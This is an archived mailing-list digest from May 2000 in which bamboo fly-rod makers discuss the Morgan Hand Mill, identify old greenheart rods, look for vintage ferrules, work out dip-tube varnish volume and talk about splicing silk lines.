they are new to rodmaking, and one isjust working on his first rod ever. The experienced rodmakerrespondants with whom I am familiar and of whom I have confidence intheir judgement, all say to a man that it is a wonderful machine. Now I must face the fact that although I don't really NEED this machine,I now WANT one. Apparently there is a waiting list and a backlog ofseveral months. That backlog may prove to save my marriage. If any other interesting info comes in, I'll update the list. Rick C. from horsesho@ptd.net Wed May 17 10:20:08 2000 0000 (204.186.33.174) Subject: Morgan Hand Mill Hi All, Eveyone seems very impressed with the TMHM. Are there anydrawbacks with using this machine? Set up time? Node tears? etc.? Marty from DNHayashida@aol.com Wed May 17 10:36:43 2000 Subject: Re: Morgan Hand Mill This isn't something you can keep in a closet andtake out to use for an evening. You will need a dedicated workbench. Don't know if that's a drawbackor not. If you are looking for an easy way to makea 6 sided rod, your money might be better spent ona powered rough beveler and a planing form. I likethe mill because I can make 4 and 5 sided rods aseasily as I make 6 sided rods, and once you startusing quads you might not go back to hexes again.Pentas even cast better than hexes.Darryl from brookie@frii.com Wed May 17 10:50:43 2000 Subject: Re: Rod ID My name is Winston. I was wondering if you could help me with someinformation. I've looked all over the web. Auction sites and collectorspages, and no luck. I was given Two Rod sets by my mother in-law which are a Redditch Brand( England). They were given to her at least 25 yearsago and are probaly a little older. They have never been used. They are stamped Geo. Wilkins & Sons Ltd. Redditch. There are four pieces to each rod. The bottom section is about 43.5 inches, the middle sectionis 43.5 inches, and the 2 top sections measure 42 inches. I've been told that it is probaly not bamboo. All sections are round. The wood is a little dark and the pole is covered in a clear shellac type coating. The gold and green lines are threads that are under the coating. The wood grain is very visible. I've scanned a few pictures and posted them on the web. Just trying to get a little history. Thanks for any information you can give. Thanks Winston Waymer Virginia, U.S. Winston, sent your post off to a friend (not on Rodmakers), his commentsfollow :~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~~ These rods are greenheart. Geo. Wilkins & Son were a Redditch based company producing these rods.Then the brand was bought by Alan Bramley, together with at least oneother existing brand: A.E. Partridge. Alan revamped the Partridge brandand established it as the premier handmade hook. Next to hooksPartridge also made/sold rods. Later bamboo, but also had old greenheartstock sold using the Geo. Wilkins & Son label, but _not_ stamped as such.So the rods Winston refers to in his email are from the time the companywas still independent. Without talking to Alan first, I would have to make a guess at the year hetook over the GWS brand. I would think 1975 is not far out, which indeedmakes the rods mentioned in excess of 25 years old. But cannot get moreaccurate than that. ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~~ from darrell@rockclimbing.org Wed May 17 11:42:38 2000 sims.3.5.2000.01.05.12.18.p9)with SMTP id for Subject: RE: Old style ferrules I've never seen a Heddon made rod with a ferrule with a shoulder...Shakespeare had rods made by Edwards, Heddon, South Bend, Montague, H-Iandprobably a few others... I've been surprised by some of the beautiful andwell made Shakespeare rods by Edwards and I've owned a couple Heddonmade7.5' 2/2 rods which were a bit unusual as they had an non- Heddon reelseats. As far as shouldered type ferrules, those were usually installed on thelower to mid grade rods and were usually nickel plated brass with a rolledwelt and a curved waist. While these ferrules were cheap to manufacturebackin the classic era, the tooling costs today, probably make it prohibitive havethem made today) would be far higher than the cost of making a superiorNSferrule. These NPB ferrules have a relatively high failure rate, they cannotbe economically made today and there are millions of Montague rods... allthis adds up to a very high demand for these scarce OEM ferrules. Several months back, Don Burns and I went in on an ebay auction andmanagedto buy an expensive batch of original Montague ferrules. We're keeping amajority for our own future projects but we had a few duplicates that wedecided to part with. If your ferrules are the shouldered/coke bottle typeferrules, then I would be very surprised if they were nickel silver. I thinkwe have what you are looking for, but in NPB... here's the link... http://www.vfish.net/Merchant2/merchant.mv from this page, go to search, type in "Montague ferrule" (without thequotes) and that should pull up the list we have available. We do have thetwo sizes you are looking for, but not with two males and not in nickelsilver, sorry. Darrell Leewww.vfish.net -----Original Message----- Subject: Old style ferrules Good morning, list - I'm getting started on the restoration of an old Shakespeare/Heddon rodand the ferrules are either broken or have been partially replaced withnew stuff. The original ferrules are N/S, and are the type with a shortshoulder on the female which then necks down to a smaller diameter. Ilooked at some pictures of the "Super Step Down" ferrules, but they seemonly to neck down the male ferrule and not the female. Did I see itright in the pictures? I'd like to try to keep the rod as close tooriginal as I can, so I'm looking for a source for a 16/64 F/M for thebutt, and an 11/64 F/2M set in N/S (hopefully) for the tips. Anyone gotan idea who might carry these old style ferrules? TIA, appreciate the help. Best regards to all, mac from tklein@amgen.com Wed May 17 11:47:19 2000 smtp.amgen.com via smap (V4.2) (5.5.2448.0) Subject: RE: Handmill Question (anvil screws) You must have received one from the same batch as mine; I received mineonMonday. I unpacked everything but the bed crate on Monday night. Everything wasverywell packaged and undamaged. I was impressed that the small parts andtoolscame in a plastic organizer. It's one of those things that don't cost a lotof money, but it's a nice touch. I agree that the indicator appears to be relatively cheap but I justfinished comparing it with a freshly calibrated digital depth gauge here atwork and it appears to be as accurate as a dial type indicator can be. Afterzeroing the unit, I used .005, .025, and .050 reference standards. Theindicator pointed exactly in line at the first two references, and wasslightly beyond the line on the .050 standard. I could see white betweenthedial face line and the indicator, but the white was less than the width ofthe indicator. Since each line on the face is .001, I'd estimate the errorat around .0002 or less. I think that falls within the tolerances a rodmakerwould need. I unpacked the bed crate last night and was equally impressed. The bed isbolted into the crate to keep it from moving around and causing damage.Theonly negative is that the bed has a long scratch near the "butt end" of thebase. It's relatively smooth and has no snags that might cut flesh and Idon't believe the mill itself will come in contact with the scratch duringnormal operation. The mill will sit on the scratch when setting tapers butsince the scratch goes down into the base, I don't believe it will have anyimpact on performance. At this point I'd qualify it as a "visual flaw". Overall, I'd say a thumbs up so far. Tom and Gerri were fantastic to workwith and I would highly recommend doing business with them. They wereveryeager to answer any questions I had (there were many!) and when Irequesteda copy of the manual before my unit was ready to ship, there wasabsolutelyno hesitation. The thing I was most impressed with was that the unitshippedout EXACTLY when they said it would, even though I had ordered more thanamonth before. There is nothing more frustrating, in my opinion, than beinggiven bad delivery info, so I was especially impressed with the fact thatthey nailed it as well as they did.---Tim ----------From: nobler[SMTP:nobler@satx.rr.com] Sent: Tuesday, May 16, 2000 7:47 PM rodmakers@wugate.wustl.eduSubject: Re: Handmill Question (anvil screws) My Morgan Mill just came about an hour ago, so I've had no chance to domorethan unpack the parts boxes. I almost got a hernia picking up that big,longsucker, which I must assume is the bed. While the dial indicator is made in China, it's certainly not of cheapquality, as the action is very smooth. The machine work is mostimpressive,on the main body and the cutter heads in particular. GMA----- Original Message -----From: Sent: Tuesday, May 16, 2000 8:06 PMSubject: Re: Handmill Question (anvil screws) I've had the same "problem", but, like Darryl, I don't consider it aproblemof any great moment. Just straighten the screw out and make sure itstightand get on with it. BTW, thinning the strip to cut down the moment offorceapplied to the strip will not work as the force is applied at the pointofcontact of the strip with the anvil (assuming the screw is tight). Italsomight let the strip tear out.Regards,Hank. from stuart.rod@gmx.de Wed May 17 12:34:08 2000 (149.225.82.215) Subject: I should have listened + Epifanes Hi, O.K now I know why we learnt all those mathematical equations in school!But I cannot for the life of me remember even one of them now. I need to find out how much varnish fits into my dip tube (before I buyit). Is the formula to work out the inside area of a pipe..... 3.142 xhalf the inside diameter squared x height of pipe? what does this giveme? Is it cubic centimeters and how do I then convert it intomilliliters? I spent most of yesterday evening trying to find a book with the formulain it, but to no avail. Has anybody had any experience with Epifanes boat varnish? Can I use itin a drip tube setup? Thanks Stuart from DNHayashida@aol.com Wed May 17 12:54:43 2000 Subject: Re: I should have listened + Epifanes from the Archives..Darryl Subject: Dip tube volume New list member deluking that can perhaps offer some help (feelsgreat to have info when on a new list). Although PVC pipe has slightlydifferent tolerances then steel the following is still pretty close: 2" Sch 40 (std wt) .174 gal per foot of length2" Sch 80 (XS) .154 - do -2 1/2" Sch 40 .248 - do -2 1/2" Sch 80 .220 - do -3" Sch 40 .384 - do -3" Sch 80 .344 - do -4" Sch 40 .661 - do -4" Sch 80 .597 - do - All pipe is referenced by "nominal size" which means, in effect, forgetall you ever knew about sizing. A 2" pipe is actually 2 3/8" O.D. ItsI.D. will vary according to its wall thickness and the tol. applied toit. The above should cover PVC readily obtaibable at "doit toit"home supply places. If you need more information on other sizes I can furnish them. Hope it helps. Jack Tucker Fly fishing is an art form, jart@epix.net go practice your craft. from paul.blakley@ntlworld.com Wed May 17 13:09:37 2000 [62.253.162.43] (may be forged)) svc.ntlworld.com(InterMail vM.4.01.02.27 201-229-119-110) with ESMTP Wed, 17 May 2000 19:09:22 +0100 Subject: Re: Rod ID Sue, I would agree entirely with your observations on therods........Greenheart without a doubt.For the record Partridge are nowowned by Mustad ( the Norwegian hook manufacturer ) and Alan Bramleyhaslittle connection with the firm.Note, they were at the Chatsworth Game Fair two weeks ago selling offwhat stocks they had left of bamboo rods and blanks.It appears they havenow dropped out of the bamboo rod market entirely.No doubt as a resultof their last rod maker ( Colin Young ) having retired.You should have been at the fair......I got a terrific 8'5"Light LineStaggered Ferrule Rod complete with two tips for......£50, what a steal!.......Regards......Paul sue kreutzer wrote: My name is Winston. I was wondering if you could help me with someinformation. I've looked all over the web. Auction sites and collectorspages, and no luck. I was given Two Rod sets by my mother in-law whichare a Redditch Brand( England). They were given to her at least 25 yearsago and are probaly a little older. They have never been used. They arestamped Geo. Wilkins & Sons Ltd. Redditch. There are four pieces toeach rod. The bottom section is about 43.5 inches, the middle sectionis 43.5 inches, and the 2 top sections measure 42 inches. I've been toldthat it is probaly not bamboo. All sections are round. The wood is alittle dark and the pole is covered in a clear shellac type coating. Thegold and green lines are threads that are under the coating. The woodgrain is very visible. I've scanned a few pictures and posted them onthe web. Just trying to get a little history. Thanks for any informationyou can give. Thanks Winston Waymer Virginia, U.S. Winston, sent your post off to a friend (not on Rodmakers), hiscommentsfollow :~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~~ These rods are greenheart. Geo. Wilkins & Son were a Redditch based company producing these rods.Then the brand was bought by Alan Bramley, together with at least oneother existing brand: A.E. Partridge. Alan revamped the Partridge brandand established it as the premier handmade hook. Next to hooksPartridge also made/sold rods. Later bamboo, but also had oldgreenheartstock sold using the Geo. Wilkins & Son label, but _not_ stamped assuch.So the rods Winston refers to in his email are from the time the companywas still independent. Without talking to Alan first, I would have to make a guess at the yearhetook over the GWS brand. I would think 1975 is not far out, which indeedmakes the rods mentioned in excess of 25 years old. But cannot get moreaccurate than that. ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~~ from dhaftel@att.com Wed May 17 13:29:38 2000 OAA03537; (8.8.8+Sun/ATTEMS-1.4.1 sol2) (5.5.2650.21) Rodmakers Subject: RE: I should have listened + Epifanes Stuart, Correct! The calculation for the volume of a cylinder is (Pi x r ^2)h. Theunits are whatever you measured the radius (half the diameter) in. Justmake sure you measure the INSIDE radius of the pipe. To convert fromcm^3to ml multiply by 1. They are the same. I'm not familiar with that varnish though. Good luck, Dennis -----Original Message----- Subject: I should have listened + Epifanes Hi, O.K now I know why we learnt all those mathematical equations in school!But I cannot for the life of me remember even one of them now. I need to find out how much varnish fits into my dip tube (before I buyit). Is the formula to work out the inside area of a pipe..... 3.142 xhalf the inside diameter squared x height of pipe? what does this giveme? Is it cubic centimeters and how do I then convert it intomilliliters? I spent most of yesterday evening trying to find a book with the formulain it, but to no avail. Has anybody had any experience with Epifanes boat varnish? Can I use itin a drip tube setup? Thanks Stuart from Coclapro@aol.com Wed May 17 15:51:49 2000 Subject: brownells polish has anyone had any experience buffing with brownells?what product # and where to obtain would be appreciatedThanks, dave from pmgoodwin@earthlink.net Wed May 17 16:18:56 2000 Subject: japan driers Has anyone tried japan driers in their varnish? from bob@downandacross.com Wed May 17 17:00:33 2000 (envelope- from bob@downandacross.com) (envelope- from bob@downandacross.com) Subject: silk lines I got another level line today. Has anyone had any luck splicing level lines of different diameters to create a DT line? I have a level H and a level D. How would I go about making a HDH?Bob Maulucci==================================================downandacross.combob@downandacross.com from ChristopherO@epicrad.com Wed May 17 17:29:54 2000 Rod Makers List Serve Subject: RE: Parabolics Was: Thin vs. Thick finish don't get me wrong fellas, i love a parabolic or "semi-parabolic" (there'sno such thing as a "semi-parabola" tho, just as your local mathematician)asmuch as anyone. all of my cane rods except one are paras; i have onephillipson "dry fly action" that's okay, but i don't seem to fish it much.hmm. . . i think that if you pay attention to your casting stroke, andmechanics of direction, you can cast accurately with any rod (again i thinkthe problem most folks have is that their timing with paras is off, andwhenthey try to compensate for the tailing loop, they drag their loops wideopenruining their accuracy). just idle speculation (though if you look around there's lots of seriouslymediocre fly casting going around). chris -----Original Message----- Subject: Re: Parabolics Was: Thin vs. Thick finish Delicate casts aren't a problem even with my short 2 wt parabolics, but Iwon't even try to argue that I can be as accurate as a very fast "dry fly"action rod. Accurate enough, sure, I mean I catch a lot of fish, when Ihave a chance to go, and have no problem sight casting short or long to afish, but I use the paras, for one reason above all else. If I am fishingclose and have a fish rise 30 feet farther out, it's a lot easier to shoot apara out to him than it is to shoot a dry fly action out there... My opinionand my casting style only... Bob from nobler@satx.rr.com Wed May 17 17:30:54 2000 SMTPSVC(5.5.1877.357.35);Wed, 17 May 2000 17:32:02 -0500 Subject: Re: silk lines We learned to do this back in 1953, but it was with Nylon lines, not silk.You scrape away to bare fibers, and over lap, and inch to 1.5", and wrapwith white thread. We used Pliobond at the time, on the inside fibersplice,and varnish on the thread wraps. GMA----- Original Message ----- Subject: silk lines I got another level line today. Has anyone had any luck splicing levellines of different diameters to create a DT line? I have a level H and alevel D. How would I go about making a HDH?Bob Maulucci==================================================downandacross.combob@downandacross.com from rcurry@ttlc.net Wed May 17 17:37:54 2000 (SMTPD32-6.00) id A01F331B010E; Wed, 17 May 2000 18:41:35 -0400 Subject: Re: silk lines Bob,I have never tried building my own lines, but I really plan to someday.That is #324567 on my list of todo's.You will need a G, F, and E. Then you could make either a weight-forwardor double-taper. I'll copy the directions and put them on my website.Best regards,Reedwww.overmywaders.com bob maulucci wrote: I got another level line today. Has anyone had any luck splicing levellines of different diameters to create a DT line? I have a level H and alevel D. How would I go about making a HDH?Bob Maulucci==================================================downandacross.combob@downandacross.com from DNHayashida@aol.com Wed May 17 17:43:10 2000 Subject: Re: silk lines This may go against conventional wisdom (I would neverdo that!), but I like level silk lines more than thetapered ones. The reason is the tapered ones have toomuch of a taper. They taper for 6 ft. down to too fineof a diameter, and make most store bought leadersunusable due to the leader butt being too thick. Theonly way I have gotten a tapered silk line to turn overa leader is to hand tie my own leaders using a lotthinner butt section. A knotless tapered leader on a level silk line works just wonderfully though. I justthink of it as the leader takes the place of the taperof the silk line. As for delicacy of presentation, theend of a silk level line is about the same size as theend of a same weight tapered plastic line.Darryl from bob@downandacross.com Wed May 17 17:52:31 2000 (envelope- from bob@downandacross.com) (envelope- from bob@downandacross.com) Subject: Re: silk lines The level lines I have (3) do cast rather well. I must admit that they are hard to track for me color wise. I cannot see them in the air. Luckily, they load up the rod so intuitively.I wonder too, if a braided Orvis leader might work nicely too, instead of a splice.Bob At 06:42 PM 5/17/00 -0400, you wrote: This may go against conventional wisdom (I would neverdo that!), but I like level silk lines more than thetapered ones. The reason is the tapered ones have toomuch of a taper. They taper for 6 ft. down to too fineof a diameter, and make most store bought leadersunusable due to the leader butt being too thick. Theonly way I have gotten a tapered silk line to turn overa leader is to hand tie my own leaders using a lotthinner butt section. A knotless tapered leader on alevel silk line works just wonderfully though. I justthink of it as the leader takes the place of the taperof the silk line. As for delicacy of presentation, theend of a silk level line is about the same size as theend of a same weight tapered plastic line.Darryl lines of different diameters to create a DT line? I have a level H and alevel D. How would I go about making a HDH?Bob Maulucci==================================================downandacross.combob@downandacross.com Bob Maulucci==================================================downandacross.combob@downandacross.com from DNHayashida@aol.com Wed May 17 17:58:22 2000 Subject: Re: silk lines Never thought of that! Might work, give it a try andlet us know.Darryl from rcurry@ttlc.net Wed May 17 18:13:54 2000 (SMTPD32-6.00) id A8B238600086; Wed, 17 May 2000 19:18:10 -0400 Subject: Re: silk lines Darryl,It does. I was too lazy to try splicing and had some fine (E and F) levelsIwanted to test drive.Best regards,Reedwww.overmywaders.com DNHayashida@aol.com wrote: splice.Bob >> Never thought of that! Might work, give it a try andlet us know.Darryl from nobler@satx.rr.com Wed May 17 18:18:38 2000 SMTPSVC(5.5.1877.357.35);Wed, 17 May 2000 18:05:48 -0500 Subject: Re: silk lines It seems I recall that most new lines back 40 years or more, had aninstruction about a certain excess amount of the small level line on thefront of all tapers. You were to clip some of this to match the basic leaderyou used. We certainly did this with say a GBF, for bass bugging, in orderto turn the bug over properly. Could it be that your DT's still have much ofthe small level line in front ? This would make them very "floppy" tocontrol. GMA----- Original Message ----- Subject: Re: silk lines This may go against conventional wisdom (I would neverdo that!), but I like level silk lines more than thetapered ones. The reason is the tapered ones have toomuch of a taper. They taper for 6 ft. down to too fineof a diameter, and make most store bought leadersunusable due to the leader butt being too thick. Theonly way I have gotten a tapered silk line to turn overa leader is to hand tie my own leaders using a lotthinner butt section. A knotless tapered leader on alevel silk line works just wonderfully though. I justthink of it as the leader takes the place of the taperof the silk line. As for delicacy of presentation, theend of a silk level line is about the same size as theend of a same weight tapered plastic line.Darryl lines of different diameters to create a DT line? I have a level H and alevel D. How would I go about making a HDH?Bob Maulucci==================================================downandacross.combob@downandacross.com from rcurry@ttlc.net Wed May 17 18:50:48 2000 (SMTPD32-6.00) id A158229E0098; Wed, 17 May 2000 19:55:04 -0400 Subject: Splicing silk line Bob,I scanned in a picture from one book and text from another. You canfind it at www.overmywaders.com under extracts.Best regards,Reedwww.overmywaders.com from horsesho@ptd.net Wed May 17 19:30:26 2000 0000 (204.186.211.12) Subject: Re: brownells polish Coclapro@aol.com wrote: has anyone had any experience buffing with brownells?what product # and where to obtain would be appreciatedThanks, daveHi Dave, I have used Brownells polish exclusivly for polishing newfinishes and old finishes. In my book there is non finer. You needTriple F and 5 F gunstock polishes (5 F is finer than Triple F). Phone # good "stuff". Marty from Canerods@aol.com Wed May 17 19:54:56 2000 Subject: Re: Old style ferrules In a message dated 5/17/00 4:53:14 AM Pacific Daylight Time,mrmac@tcimet.net writes: The original ferrules are N/S, and are the type with a shortshoulder on the female which then necks down to a smaller diameter. This isn't a Heddon made Shakespeare rod or the ferrules are wrong.Sounds more likely to be a Montague made Shakespeare. Heddon females ALWAYS have straight tubes, IMHO. The males neck downto fit the females. I've never seen a milk bottle Heddon female. Darrell Lee and I have some Montague ferrules that Darrell is selling. Don Burns from nobler@satx.rr.com Wed May 17 20:19:25 2000 SMTPSVC(5.5.1877.357.35);Wed, 17 May 2000 20:20:31 -0500 Subject: Re: Old style ferrules Sorry Don, as I have a Heddon #400, with a Monty type "coke bottle" femaleferrule, in that the female necks down. It still had the originalmaroon/purple wraps with green trim when I got it ! This one has theangledHeddon signature, but no bass decal. They are N.P. B., just like a cheapMonty too ! GMA----- Original Message ----- Subject: Re: Old style ferrules In a message dated 5/17/00 4:53:14 AM Pacific Daylight Time,mrmac@tcimet.netwrites: The original ferrules are N/S, and are the type with a shortshoulder on the female which then necks down to a smaller diameter. This isn't a Heddon made Shakespeare rod or the ferrules are wrong.Soundsmore likely to be a Montague made Shakespeare. Heddon females ALWAYS have straight tubes, IMHO. The males neck downtofitthe females. I've never seen a milk bottle Heddon female. Darrell Lee andIhave some Montague ferrules that Darrell is selling. Don Burns from mstevens@ptdprolog.net Wed May 17 22:01:51 2000 0000 Subject: Re: Old style ferrules Don is thinking about Heddon Fly Rods and I think is right but Heddon diduse the stepped down female on some casting rods, like the Heddon #400. Mike Michael StevensRR 1 Box 307C Effort PA 18330 610 681 5670 http://www.mikestevens.com http://www.OldTackle.com mstevens@ptdprolog.net Collector of Heddon Bamboo rodsJ.A. Coxe baitcasting reelsHeddon River Runt Spooks Maker of Fine Sights for Antique Single Shot TargetRifles from channer1@rmi.net Wed May 17 22:21:31 2000 Subject: Re: silk lines DNHayashida@aol.com wrote: splice.Bob >> Never thought of that! Might work, give it a try andlet us know.DarrylGuys;I use braided orvis leaders on McKenzie Bamboo fly lines, but I cut theloop off the butt end of them and work the line up into the braid andcrazy glue them, I like this connection a lot better than the braidedloops, it doesn't hinge as bad and floats better. I have a level 3 silkthat I use on a 7' 4wt. Payne 98 and I like it a lot, as soon as I getanother braided leader i will do the same to it.John from nthawk@worldinter.net Thu May 18 00:47:06 2000 (envelope- from nthawk@worldinter.net) nthawk@worldinter.net using -f Subject: Working in South China, Wanna Build rods Dear Rodmakers,On International assignment in Guangdong Province, People's republic of China. My location is on the shores of the Gulf of Tonkin. Guess what grows here like weeds! So now is the time to learn to build cane rods. Trying to get Cattanach's book but Borders internet says unavailable now. Besides, Customs will be a real bear. Tried to contact Cattanach via rodmakers page but his site keeps coming up "cannot open". Can anyone help me get in touch with him? Ive started collecting and making some tools. I can machine my own planing forms at work. I'd like to start collecting some cane (no problem here). What makes a culm suitable for rodbuilding? What do I need to know about drying times? Can I split it and shorten drying cycle? Again the stuff is all over and I can buy it Best Regards,Don Schepis -----------------------------------------------------This mail sent through IMP: http://www.worldinter.net/webmail/imp/ from danny.twang@porsgrunnsdagblad.no Thu May 18 01:28:49 2000 "rodmakers@wugate.wustl.edu" Subject: Re: Rod ID I talked with Ole Bjerke, the manager at Partridge, a few months ago. Ialsoheard they wasgoing to drop out the bamboo rods, and wanted to buy some of theirequipment. Buthe saidthey absolute not was going to drop out, and he also had heard therumor........ regardsdanny paul.blakley wrote: Sue, I would agree entirely with your observations on therods........Greenheart without a doubt.For the record Partridge are nowowned by Mustad ( the Norwegian hook manufacturer ) and Alan Bramleyhaslittle connection with the firm.Note, they were at the Chatsworth Game Fair two weeks ago selling offwhat stocks they had left of bamboo rods and blanks.It appears they havenow dropped out of the bamboo rod market entirely.No doubt as a resultof their last rod maker ( Colin Young ) having retired.You should have been at the fair......I got a terrific 8'5"Light LineStaggered Ferrule Rod complete with two tips for......£50, what a steal!.......Regards......Paul sue kreutzer wrote: My name is Winston. I was wondering if you could help me with someinformation. I've looked all over the web. Auction sites and collectorspages, and no luck. I was given Two Rod sets by my mother in- lawwhichare a Redditch Brand( England). They were given to her at least 25yearsago and are probaly a little older. They have never been used. They arestamped Geo. Wilkins & Sons Ltd. Redditch. There are four pieces toeach rod. The bottom section is about 43.5 inches, the middle sectionis 43.5 inches, and the 2 top sections measure 42 inches. I've beentoldthat it is probaly not bamboo. All sections are round. The wood is alittle dark and the pole is covered in a clear shellac type coating. Thegold and green lines are threads that are under the coating. The woodgrain is very visible. I've scanned a few pictures and posted them onthe web. Just trying to get a little history. Thanks for any informationyou can give. Thanks Winston Waymer Virginia, U.S. Winston, sent your post off to a friend (not on Rodmakers), hiscommentsfollow :~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~~ These rods are greenheart. Geo. Wilkins & Son were a Redditch based company producing theserods.Then the brand was bought by Alan Bramley, together with at least oneother existing brand: A.E. Partridge. Alan revamped the Partridge brandand established it as the premier handmade hook. Next to hooksPartridge also made/sold rods. Later bamboo, but also had oldgreenheartstock sold using the Geo. Wilkins & Son label, but _not_ stamped assuch.So the rods Winston refers to in his email are from the time the companywas still independent. Without talking to Alan first, I would have to make a guess at the yearhetook over the GWS brand. I would think 1975 is not far out, whichindeedmakes the rods mentioned in excess of 25 years old. But cannot getmoreaccurate than that. ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~~ from danny.twang@porsgrunnsdagblad.no Thu May 18 01:50:40 2000 Subject: Re: Silkline Reed, I have to strip down a piece, and see how the silk/braid is. But as I recall,the silk was fine,and looked new under the coating, it did not appear to be hollow(remembertrying to get amonofilament leader into the core) It did appear soft though........ regardsdanny reed curry wrote: Danny,All the enamelled lines I have had, seemed to have a very fine, almosthollow, loose braid. An oiled silk line is made with either a tight orloose braid, but the braid is usually a lot coarser abd the line seemsstiffer and never appears hollow. This would certain affect the castingaction.Best regards,Reed Danny Twang wrote: Reed, A few question about silk line. How can I find out if my old silk line is oiled or "enameled"? As I'vetold You before, I found thisline on a old reel, and it was very sticky, the color was green, and itappear like "new".After I rubbed it between my finger, I managed to get it slick andsmooth. I measured it to be aHEH line, perfect for my rod's based on PHY tapers. But when I read Your article, I began to think of when I was making theloop.I "stripped" the coating and it was on the "top" of the braided silk,not "in" it. It felt almost likestripping PVC line. Under the "coating" the silk was dry.If it is a "enameled" silk lines, will it be possible to strip it, andtreat it with oil/varnish? Best regardsdanny from stuart.rod@gmx.de Thu May 18 06:06:58 2000 (149.225.123.197) Subject: Re: Working in South China, Wanna Build rods boundary="------------21B0354F2384E3A206351472" --------------21B0354F2384E3A206351472 "Again the stuff is all over and I can buy it Don, Export Export Export for Cheap Cheap Cheap to Me Me Me. Sorry couldn't reist it. Wayne Catttanachs book is due to be released inreprint in June. I don't think you can get hold of a new copy untilthen. In the meantime there are other rodbuilding books available thatare very good, try amazon for a list of them. Stuart --------------21B0354F2384E3A206351472 "Again the stuff is all over and I can buy it Don, Sorry couldn't reist it. Wayne Catttanachs book is due to be releasedin reprint in June. I don't think you can get hold of a new copy untilthen. In the meantime there are other rodbuilding books available thatare very good, try amazon for a list of them.Stuart --------------21B0354F2384E3A206351472-- from rcurry@ttlc.net Thu May 18 07:19:34 2000 (SMTPD32-6.00) id A0D8572C0040; Thu, 18 May 2000 08:23:52 -0400 Rodmakers Listserv Subject: Re: Splicing silk line Harry,It appears that my mixture of sources didn't work as well as expected.The match was the burning off of fuzzies (the artist didn't use wax onhissilk).The graphite was after varnishing. The author was a tournament casterandalways coated his lines with graphite for greater distance (messybusiness).Ralph asked how to remove the wax before varnishing. Turpentine willstripit out, and the thinner in the varnish will penetrate what's left. I usedubbing wax on intermediate winds and brush them with turps beforevarnishing.Never a problem.I have updated the page to remove the match and graphite and added anoteabout turps.Best regards,Reed Harry Boyd wrote: Reed,Looks interesting, and I understand it all but the last step. What ispictured in the last frame, and marked "graphite"? And what's the matchfor? Just curious,Harry reed curry wrote: Bob,I scanned in a picture from one book and text from another. You canfind it at www.overmywaders.com under extracts.Best regards,Reedwww.overmywaders.com --Harry Boydhttp://HarryBoydbamboorods.eboard.com/ from stpete@netten.net Thu May 18 08:49:45 2000 Subject: Handmill Survey Results Day 2 We have another 4 respondants to the survey. That brings the totalnumber of Handmill owners on this list (who are willing to let us know)to 19. I understand that Mr. Morgan has sold from 40 to 60 units. He makesthem in batches so that one respondant has estimated the total close to60. I also had an interesting post from a lister who disagreed that the millwas an outstanding value. Not that he didn't agree that the machine wasvery nice and well made. Also, not that he didn't agree that themachine warranted it's price for the amount of machining and labor thatwent into it. His estimation was made based on the fact that he builtseveral nice powered bevelers, the best of which cost him $950. Heclaims that they are accurate, quick and not difficult to make. My brain hurts now. I still want a Handmill, but I think I want it justto own it. I'm not sure how long they will be produced and I'd like tohave it in my back pocket. But when I think about running a beveler tomake my rods, I have to go back to why I went into this in the firstplace - which is to find a sense of accomplishment and satisfaction inthe learning of a real handcraft which produced a very, very fine tool Thanks to all who responded. Good fishing and good planing! Rick C. from mcanultj@svm.vetmed.wisc.edu Thu May 18 09:16:50 2000 R8.31.00.5) Subject: Re: Handmill Survey Results Day 2 I have a question on the handmill. Do the cutters sit at an angle to the work surface the same as a plane iron or are they perpendicular (more or less) to the surface like a scraper? I'm sure the obvious answer is like a plane iron but I just wanted confirmation.Thanks.Jon from sniderja@email.uc.edu Thu May 18 09:22:58 2000 Subject: Re: Handmill Survey Results Day 2 You might wish to go to Tom Morgan's web site and see for yourself. Apicture is worth a thousand words. The address was posted yesterdaysomewhere on this list, I believe.J. Snider At 09:18 AM 05/18/2000 -0500, mcanultj@svm.vetmed.wisc.edu wrote:I have a question on the handmill. Do the cutters sit at an angle to the work surface the same as a plane iron or are they perpendicular (more or less) to the surface like a scraper? I'm sure the obvious answer is like a plane iron but I just wanted confirmation.Thanks.Jon from mcanultj@svm.vetmed.wisc.edu Thu May 18 09:33:09 2000 Thu, 18 May 2000 09:32:25 -0500 R8.31.00.5) Subject: Re[2]: Handmill Survey Results Day 2 Actually, I looked at this yesterday and it did not answer my question, unless I just missed it in the site. It describes planing the cane on two surfaces at once. By inference this would indicate a planing angle. I am just seeking confirmation of this inference.Cheers.Jon ______________________________ Reply Separator_________________________________Subject: Re: Handmill Survey Results Day 2 Author: at Internet-Mail You might wish to go to Tom Morgan's web site and see for yourself. A picture is worth a thousand words. The address was posted yesterday somewhere on this list, I believe.J. Snider At 09:18 AM 05/18/2000 -0500, mcanultj@svm.vetmed.wisc.edu wrote:I have a question on the handmill. Do the cutters sit at an angle to the work surface the same as a plane iron or are they perpendicular (more or less) to the surface like a scraper? I'm sure the obvious answer is like a plane iron but I just wanted confirmation. Thanks.Jon from richard.nantel@videotron.ca Thu May 18 10:12:55 2000 Internet Mail Serversims.3.5.1999.12.14.10.29.p8)with SMTP id forrodmakers@wugate.wustl.edu; Thu, 18 May 2000 09:57:19 Subject: RE: Handmill Survey Results Day 2 have it in my back pocket. But when I think about running abeveler tomake my rods, I have to go back to why I went into this in the firstplace - which is to find a sense of accomplishment and satisfaction inthe learning of a real handcraft which produced a very, very fine tool There is a sense of pride that comes from carefully hand-planing a rod. Agood beveller, however, may produce strips that are much more precise. Iknow one rodmaker who is able to create a four-foot spline of exactly.024it's entire length with his beveller. Tolerances such as these may produceand even higher sense of pride in one's work. Richard from mcanultj@svm.vetmed.wisc.edu Thu May 18 10:13:23 2000 R8.31.00.5) Subject: Re[3]: Handmill Survey Results Day 2 To answer my own question, after getting offline directions to look at pictures in Darryl H.'s site it is clear the blades are mounted more like a scraper. I just missed it on Tom's site because of the shavings in front of the cutter heads.Thanks.Jon At 09:18 AM 05/18/2000 -0500, 